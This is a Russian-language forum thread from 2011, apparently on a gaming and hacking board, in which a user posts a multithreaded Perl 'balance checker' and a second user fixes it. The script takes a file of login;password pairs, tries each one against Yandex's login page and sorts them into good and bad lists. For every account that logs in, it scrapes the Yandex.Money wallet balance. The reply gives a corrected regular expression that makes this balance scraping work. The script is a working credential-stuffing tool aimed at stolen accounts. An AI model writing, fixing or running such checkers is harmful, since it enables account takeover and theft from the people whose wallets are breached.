Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Perl чекер баланса...

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Web-программированию только в данном разделе

Ответ
 
Опции темы
Старый 28.07.2011, 19:33   #1
 Капитан
Аватар для Excellent18rus
 
Excellent18rus знает себе ценуExcellent18rus знает себе ценуExcellent18rus знает себе ценуExcellent18rus знает себе ценуExcellent18rus знает себе ценуExcellent18rus знает себе ценуExcellent18rus знает себе ценуExcellent18rus знает себе ценуExcellent18rus знает себе ценуExcellent18rus знает себе ценуExcellent18rus знает себе цену
Регистрация: 07.04.2010
Сообщений: 293
Популярность: 4393
Сказал(а) спасибо: 133
Поблагодарили 334 раз(а) в 187 сообщениях
Отправить сообщение для Excellent18rus с помощью ICQ
 
Unhappy Perl чекер баланса...

вообщем у меня был скрипт Чека яндекса на баланс на Php
и скрипт чека 4гейма на перле)

я их пытался соединить,т.к мне надо скрипт чека яндекса на перле...

и что же у меня вышло..
Код:
#!/usr/bin/perl
#© dpe


use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
use HTTP::Request::Common;


#######################Config##################################

my $accs = 'accs.txt'; #Файл с аккаунтами вида (акк;пасс)
my $acc_delm = ';';    #разделитель
my $threads = 1;      #кол-во потоков
my $good = 'good.txt'; #файл с гудами
my $bad = 'bad.txt';   #файл с бэдами

###############################################################


my @accs : shared = lf($accs);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;

sub main {
while(@accs) {
my ($login, $pass) = split $acc_delm => shift @accs;
my $ua = LWP::UserAgent->new;
$ua->cookie_jar({});
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
my $resp = $ua->post('https://pda-passport.yandex.ru/passport?mode=auth',
                            [ 'timestamp' =>'',
                             'login' => $login,
                             'passwd' => $pass]);

if ($resp-> content=~ m/mode=register/msgi){
print "[BAD] $login:$pass\n";
wf($bad, "$login:$pass\n");}
else {
$resp = $ua->get("https://m.money.yandex.ru/")->content;
my $bal = $2 if $resp =~ /class="b-sum__value"(>)(\d{1,10})\s(.*)<\/span>/;
print "[GOOD] $login:$pass:$bal\n";
wf($good, "$login:$pass:$bal\n");}
}
}
sub lf
{
open my $dat, '< ', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data;
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
гуд\бэд определяет.. но баланс не пишет..
скорее всего что-то неверно в этой строке

my $bal = $2 if $resp =~ /class="b-sum__value"(>)(\d{1,10})\s(.*)<\/span>/;
т.к я вообще не понял что там откуда)

изначально строка Perla
my $bal = $2 if $resp =~ /class="text_green"(>)(\d{1,10})\s(.*)<\/span>/;
из этого кода
Код:
на счету <span class="text_green">0 руб.</span>и <span class="bonus">
выводит только 0 ...

мне надо вывести 0 из этого кода
Код:
<strong class="b-sum__value">0</strong> руб.</span>
________________
ICQ - 78055223

Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).


Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).

Последний раз редактировалось Excellent18rus; 28.07.2011 в 19:37.
  Ответить с цитированием
Старый 29.07.2011, 21:40   #2
Заблокирован
 Пехотинец
Аватар для fesssi
 
fesssi скоро будет известенfesssi скоро будет известенfesssi скоро будет известенfesssi скоро будет известенfesssi скоро будет известен
Регистрация: 14.11.2009
Сообщений: 64
Популярность: 425
Сказал(а) спасибо: 35
Поблагодарили 134 раз(а) в 56 сообщениях
Отправить сообщение для fesssi с помощью ICQ Отправить сообщение для fesssi с помощью Skype™
 
По умолчанию Re: Perl чекер баланса...

my $bal = $2 if $resp =~ /class="b-sum__value"(>)(\d{1,10})\s(.*)<\/span>/;

<strong class="b-sum__value">0</strong> руб.</span>

my $bal = $2 if $resp =~ /class="b-sum__value"(>)(\d{1,10})<\/strong>(\s{1,5})<\/span>/;


Типо так а ваще посмотри регулярки (регулярные сообщения)
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 22:25.

Пишите нам: forum@zhyk.ru
Copyright © 2025 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net